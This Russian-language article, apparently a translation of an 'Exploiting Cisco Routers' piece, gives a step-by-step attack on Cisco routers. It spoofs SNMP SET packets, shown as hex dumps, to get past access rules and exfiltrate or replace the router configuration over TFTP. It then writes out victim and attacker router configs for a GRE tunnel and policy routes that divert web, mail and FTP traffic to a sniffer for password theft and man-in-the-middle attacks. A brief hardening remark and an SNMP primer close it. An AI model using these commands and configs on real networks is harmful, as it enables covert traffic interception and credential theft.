Вероятно, вы удивитесь, впервые увидев вывод утилиты наподобие SNMP-Enum Филиппа Уэйтенса (Filip Waeytens), запущенной на Windows 2000 Server с включенным SNMP сервисом. Собранная информация могла бы сильно озадачить системного администратора и дать представление о богатых возможностях SNMP.

Тот факт, что протокол SNMP основан на UDP, делает его еще более интересным. Являясь протоколом без установления соединения, UDP уязвим к атаке подмены IP (IP spoofing). Если в вашей организации есть маршрутизаторы Cisco, вы готовы к исследованию того, что с ними можно сделать с помощью SNMP.

Сценарий атаки

Взгляните на пример сценария атаки, показанный на Рисунке 1.

Рисунок 1. Пример сценария атаки.

Ознакомьтесь со сценарием атаки. Ниже приводится текущая конфигурация атакуемого маршрутизатора (Victim Router):

Current configuration: 1206 bytes ! version 12.3 ! hostname Victim ! enable secret 5 $1$h2iz$DHYpcqURF0APD2aDuA.YX0 ! interface Ethernet0/0 ip address dhcp ip nat outside half-duplex ! interface Ethernet0/1 ip address 192.168.1.1 255.255.255.0 ip nat inside half-duplex ! router rip network 192.168.1.0 ! ip nat inside source list 102 interface Ethernet0/0 overload no ip http server ip classless ! access-list 1 permit 192.168.1.0 0.0.0.255 access-list 102 permit ip any any ! snmp-server community public RO snmp-server community private RW 1 snmp-server enable traps tty ! line con 0 logging synchronous login line aux 0 line vty 0 4 password secret login ! ! end

Можно выделить два основных этапа атаки:

Обход правил доступа SNMP на атакуемом маршрутизаторе с целью получения доступа к конфигурационному файлу маршрутизатора.
Создание GRE туннеля между атакуемым маршрутизатором и маршрутизатором хакера для удаленного перехвата трафика атакуемой клиентской машины (Victim Client).

Теория

Как упоминалось в статье “Exploiting Cisco Routers, Part 1” , используя SNMP-команду SET, можно заставить Cisco маршрутизатор замещать/отправлять его конфигурационный файл с помощью TFTP.

Отправив SNMP запрос SET с поддельным IP адресом (из диапазона, описанного в RFC1918 - 192.168.1.0) мы должны заставить атакуемый маршрутизатор отправить нам свой конфигурационный файл. Это предполагает, что мы знаем ‘private community string’ и ACL, описанные в строке конфигурации группы RW.

Обход правил доступа SNMP

Начнем с создания поддельного SNMP запроса. Используя небольшой Perl скрипт и Ethereal, перехватим стандартный SNMP SET запрос “copy config”, который мы будем использовать в качестве базового пакета. root@whax# ./copy-router-config.pl ###################################################### # Copy Cisco Router config - Using SNMP # Hacked up by muts - [email protected] ####################################################### Usage: ./cisco-copy-config.pl Make sure a TFTP server is set up, preferably running from /tmp ! root@whax# После выполнения скрипта будет перехвачен SNMP пакет, подобный тому, что показан на Рисунке 2. Как и ожидалось, этот запрос был отклонен маршрутизатором, и конфигурационный файл не был отослан.

Рисунок 2. Перехваченный SNMP пакет.

Рисунок 3. Изменение обратного IP адреса пакета.

Затем мы отправим пакет, используя file2cable (или любой другой генератор пакетов):

Root@whax:~# file2cable -v -i eth0 -f /root/snmp-mod file2cable - by FX Thanx go to Lamont Granquist & fyodor for their hexdump() /root/snmp-mod - 238 bytes raw data 000f 347c 501f 0006 1bcc 00fa 0800 4500 ..4|P.........E. 00e0 0000 4000 4011 35bd c0a8 0105 d4c7 ....@[email protected]....... 91f2 8000 00a1 00cc 052e 3081 c102 0100 ..........0..... 0407 7072 6976 6174 65a3 81b2 0203 00d6 ..private....... 9b02 0100 0201 0030 81a4 3016 0611 2b06 .......0..0...+. 0104 0109 0960 0101 0101 0283 f1b0 7802 .....`........x. 0101 3016 0611 2b06 0104 0109 0960 0101 ..0...+......`.. 0101 0383 f1b0 7802 0104 3016 0611 2b06 ......x...0...+. 0104 0109 0960 0101 0101 0483 f1b0 7802 .....`........x. 0101 3019 0611 2b06 0104 0109 0960 0101 ..0...+......`.. 0101 0583 f1b0 7840 0450 b34c e330 2706 [email protected]". 112b 0601 0401 0909 6001 0101 0106 83f1 .+......`....... b078 0412 7077 6e64 2d72 6f75 7465 722e .x..pwnd-router. 636f 6e66 6967 3016 0611 2b06 0104 0109 config0...+..... 0960 0101 0101 0e83 f1b0 7802 0104 .`........x... Packet length: 238 root@whax:~# После этого наш TFTP сервер примет соединение, Ethereal-лог которого показан на Рисунке 4.

Рисунок 4. Соединение с TFTP сервером, перехваченное Ethereal.

Обратите внимание на обратный IP адрес SNMP пакета и на TFTP запрос на запись (пакеты 1 и 2). Пакет обходит правила доступа SNMP, и мы получаем конфигурационный файл атакуемого маршрутизатора по TFTP.

GRE туннель

Создать GRE туннель от атакуемого маршрутизатора до маршрутизатора хакера.
Определить, какой трафик будет проходить через туннель.
Распаковывать GRE пакеты идущие с атакованного маршрутизатора и переправлять их на компьютер атакующего (sniffer) для анализа.

Атакуемый маршрутизатор

Мы создали интерфейс tunnel0 и указали IP адрес из сети 192.168.10.x . Для обмена данными оба конца туннеля должны находиться в одной подсети.
Мы указали, что интерфейс Ethernet0/0 является началом туннеля (а иначе, откуда туннель мог бы начинаться?)
Конец туннеля это IP адрес внешнего интерфейса маршрутизатора хакера.
Последняя команда не обязательна, так как по умолчанию все равно создается именно GRE туннель (но мы все же добавили ее для большей уверенности).

Для этого добавим в файл конфигурации атакуемого маршрутизатора еще несколько строк:

Access-list 101 permit tcp any any eq 443 access-list 101 permit tcp any any eq 80 access-list 101 permit tcp any any eq 21 access-list 101 permit tcp any any eq 20 access-list 101 permit tcp any any eq 23 access-list 101 permit tcp any any eq 25 access-list 101 permit tcp any any eq 110 Мы разрешили передачу данных по протоколам SSL, HTTP, FTP, telnet, SMTP и POP3.

Router-map divert-traffic match ip address 101 set ip next-hop 192.168.10.2 interface Ethernet0/0 ip policy route-map divert-traffic Эта запись несет в себе следующий смысл:

Мы определили имя карты маршрутизации (divert-traffic) и затем использовали команду ‘match’, чтобы указать, что в качестве условия соответствия нужно использовать набор правил доступа 101 (access-list).
В качестве next-hop адреса мы указали IP адрес атакующего.
Мы применили карту маршрутизации к внешнему LAN-интерфейсу атакуемой машины. Результатом этого будет слежение за всем входящим и исходящим трафиком Ethernet0/0.

Маршрутизатор хакера

Конфигурация маршрутизатора атакующего чуть сложнее, так как мы должны определить две карты маршрутизации – одну для переправления трафика на компьютер атакующего (sniffer), и другую для отправки трафика обратно на атакуемый маршрутизатор. Очень важно, чтобы мы отправляли туннелированные данные назад на атакуемый маршрутизатор, чтобы атакуемый компьютер (Victim Client) не потерял соединение.

Начнем с создания GRE туннеля на маршрутизаторе атакующего: Attacker(config)# interface tunnel0 Attacker(config-if)# ip address 192.168.10.2 255.255.255.0 Attacker(config-if)# tunnel source Ethernet0/0 Attacker(config-if)# tunnel destination Attacker(config-if)# tunnel mode gre ip Attacker(config)# access-list 101 permit ip any any Attacker(config)# router-map divert-to-sniffer Attacker(config-route-map)# match ip address 101 Attacker(config-route-map)# set ip next-hop 192.168.3.5 Attacker(config-route-map)# exit Attacker(config)# interface tunnel0 Attacker(config-if)# ip policy route-map divert-to-sniffer Эти правила означают следующее:

Мы создали правило доступа, разрешающее все типы трафика.
Мы создали карту маршрутизации divert-to-sniffer (эта карта маршрутизации будет перенаправлять туннелированный трафик на сниффер).
Созданное правило доступа используется в качестве условия соответствия.
В качестве next-hop адреса мы указали IP адрес атакующего (sniffer).
Мы применили карту маршрутизации к интерфейсу tunnel0.

Наконец, создадим карту маршрутизации и ассоциируем ее с интерфейсом Ethernet0/0:

Attacker(config-if)# route-map divert-out Attacker(config-route-map)# match ip address 101 Attacker(config-route-map)# set ip next-hop 192.168.10.1 Attacker(config-route-map)# exit Attacker(config)# interface ethernet0/0 Attacker(config-if)# ip policy route-map divert-out Эти дополнительные настройки означают следующее:

После того как атакующий (sniffer) перехватит и переправит туннелированные данные назад, карта маршрутизации divert-out перенаправит трафик обратно на атакуемый маршрутизатор.
Мы применили карту маршрутизации к Ethernet интерфейсу.

Атакующий (sniffer)

По завершению конфигурирования маршрутизаторов нам нужно настроить компьютер атакующего (sniffer) для перехвата и перенаправления данных. Важно, чтобы компьютер был сконфигурирован на обратное перенаправление пакетов. Для этого можно использовать одну из следующих команд: root@whax:~# echo 1 > /proc/sys/net/ipv4/ip_forward или root@whax:~# fragrouter -B1 Без перенаправления наша атака вызовет отказ от обслуживания (DoS) на атакуемом компьютер и соответственно потеряет смысл.

Начинаем атаку

Нам нужно создать поддельный SNMP SET запрос, в результате которого маршрутизатор загрузит новый конфигурационный файл и добавит его к текущей конфигурации. Для того чтобы получить базовый пакет мы снова отправим обычный запрос:

Root@whax# ./merge-router-config.pl ###################################################### # Merge Cisco Router config - Using SNMP # Hacked up by muts - [email protected] ####################################################### Usage: ./merge-copy-config.pl Make sure a TFTP server is set up, prefferably running from /tmp ! root@whax# Перехватим этот пакет и изменим обратный IP адрес и некоторые другие поля заголовка пакета, как показано на Рисунке 5.

Рисунок 5. Изменение заголовка пакета.

После отправки модифицированного пакета, будет создано TFTP соединения с нашим компьютером (Рисунок 6).

Рисунок 6. Соединение с TFTP сервером атакующего.

Обратите внимание на TFTP запрос на чтение (пакет №2). Пакет обходит правила доступа SNMP, вследствие чего происходит загрузка и добавление к текущей конфигурации нового модифицированного конфигурационного файла. Отладочная информация атакуемого маршрутизатора дает много интересного о ходе атаки:

*Mar 1 00:32:53.854: SNMP: Set request, reqid 36323, errstat 0, erridx 0 ccCopyTable.1.2.12285992 = 1 ccCopyTable.1.3.12285992 = 4 ccCopyTable.1.4.12285992 = 1 ccCopyTable.1.5.12285992 = 80.179.76.227 (the address of the TFTP server) ccCopyTable.1.6.12285992 = pwnd-router.config ccCopyTable.1.14.12285992 = 4 *Mar 1 00:32:53.971: SNMP: Response, reqid 36323, errstat 0, erridx 0 ccCopyTable.1.2.12285992 = 1 ccCopyTable.1.3.12285992 = 4 ccCopyTable.1.4.12285992 = 1 ccCopyTable.1.5.12285992 = 80.179.76.227 (the address of the TFTP server) ccCopyTable.1.6.12285992 = pwnd-router.config ccCopyTable.1.14.12285992 = 4 *Mar 1 00:32:54.291: SNMP: Packet sent via UDP to 192.168.1.5 Заметьте, что адрес TFTP сервера отличается от IP адреса атакующего и передается отдельным параметром. Теперь туннель открыт, готов к работе и может быть представлен в виде диаграммы на Рисунке 7.

Рисунок 7. GRE туннель.

Проверить работоспособность туннеля можно, отослав отладочную команду на маршрутизатор атакующего:

Attacker# debug tunnel *Mar 3 06:38: Tunnel0: GRE/IP to classify 212.199.145.242 ->80.179.20.55 (len=108 type=0x800 ttl=253 tos=0x0) *Mar 3 06:38: Tunnel0: adjacency fixup, 80.179.20.55 -> 212.199.145.242, tos=0x0 *Mar 3 06:38: Tunnel0: GRE/IP to classify 212.199.145.242 ->80.179.20.55 (len=108 type=0x800 ttl=253 tos=0x0) *Mar 3 06:38: Tunnel0: adjacency fixup, 80.179.20.55 -> 212.199.145.242, tos=0x0g all Предположим, атакованный компьютер произвел поиск выражения “GRE Sniffing” в Google, как показано на Рисунке 8.

Рисунок 8. Жертва ищет информацию о GRE туннелях.

В результате этих действий, Ethereal на компьютере атакующего получит пакеты, показанные на Рисунке 9.

Рисунок 9. Сниффер показывает запрос в Google на поиск информации о GRE туннелях.

Кроме использования специализированного сниффера (такого как dsniff) для перехвата паролей, передаваемых открытым текстом, мы можем осуществить сложные атаки класса ‘человек посередине – man-in-the-middle’ на компьютер жертвы. Ettercap – хорошая утилита, позволяющая, кроме перехвата разных типов паролей, организовать атаку ‘человек посередине’ на шифруемые протоколы SSL и SSH. С помощью фильтров Ettercap можно управлять проходящим трафиком и изменять его. Возможности практически бесконечны.

Заключение

В описанном примере, дополнительного правило доступа, явно определяющего адрес TFTP сервера (находящегося на атакованном нами маршрутизаторе) хватило бы, чтобы сорвать атаку.

Скептики могут спросить “Как атакующий узнал о правилах доступа / имени SNMP группы RW?”. Эта информация может быть получена перебором, причем не только имена групп, но и разрешенные IP адреса, и такая утилита уже существует.

Целью статьи было показать не столько эффективность описанной атаки, сколько потенциальные бреши протоколов, основанных на UDP. Это никоим образом не означает, что оборудование Cisco небезопасно. Грамотная конфигурация должна свести на минимум шансы обхода защиты. Ошибки сетевых администраторов – вот основные причины компрометаций оборудования Cisco.

Информация об укреплении защиты маршрутизаторов Cisco может быть найдена на сайте

SNMP - это протокол прикладного уровня, разработанный для стека TCP/IP, хотя имеются его реализации и для других стеков, например IPX/SPX. Протокол SNMP используется для получения от сетевых устройств информации об их статусе, производительности и других характеристиках, которые хранятся в базе данных управляющей информации MIB (Management Information Base). Простота SNMP во многом определяется простотой MIB SNMP, особенно их первых версий MIB I и MIB II. Кроме того, сам протокол SNMP также весьма несложен.

Агент в протоколе SNMP - это обрабатывающий элемент, который обеспечивает менеджерам, размещенным на управляющих станциях сети, доступ к значениям переменных MIB и тем самым дает им возможность реализовывать функции по управлению и наблюдению за устройством.

Основные операции по управлению вынесены в менеджер, а агент SNMP выполняет чаще всего пассивную роль, передавая в менеджер по его запросу значения накопленных статистических переменных. При этом устройство работает с минимальными издержками на поддержание управляющего протокола. Оно использует почти всю свою вычислительную мощность для выполнения своих основных функций маршрутизатора, моста или концентратора, а агент занимается сбором статистики и значений переменных состояния устройства и передачей их менеджеру системы управления.

SNMP - это протокол типа «запрос-ответ» , то есть на каждый запрос, поступивший от менеджера, агент должен передать ответ. Особенностью протокола является его чрезвычайная простота - он включает в себя всего несколько команд.

Команда Get-request используется менеджером для получения от агента значения какого-либо объекта по его имени.

Команда GetNext-request используется менеджером для извлечения значения следующего объекта (без указания его имени) при последовательном просмотре таблицы объектов.

С помощью команды Get-response агент SNMP передает менеджеру ответ на команды Get-request или GetNext-request.

Команда Set используется менеджером для изменения значения какого-либо объекта. С помощью команды Set происходит собственно управление устройством. Агент должен понимать смысл значений объекта, который используется для управления устройством, и на основании этих значений выполнять реальное управляющее воздействие - отключить порт, приписать порт определенной VLAN и т. п. Команда Set пригодна также для установки условия, при выполнении которого агент SNMP должен послать менеджеру соответствующее сообщение. Может быть определена реакция на такие события, как инициализация агента, рестарт агента, обрыв связи, восстановление связи, неверная аутентификация и потеря ближайшего маршрутизатора. Если происходит любое из этих событий, то агент инициализирует прерывание.

Команда Trap используется агентом для сообщения менеджеру о возникновении особой ситуации.

Версия SNMP v.2 добавляет к этому набору команду GetBulk, которая позволяет менеджеру получить несколько значений переменных за один запрос.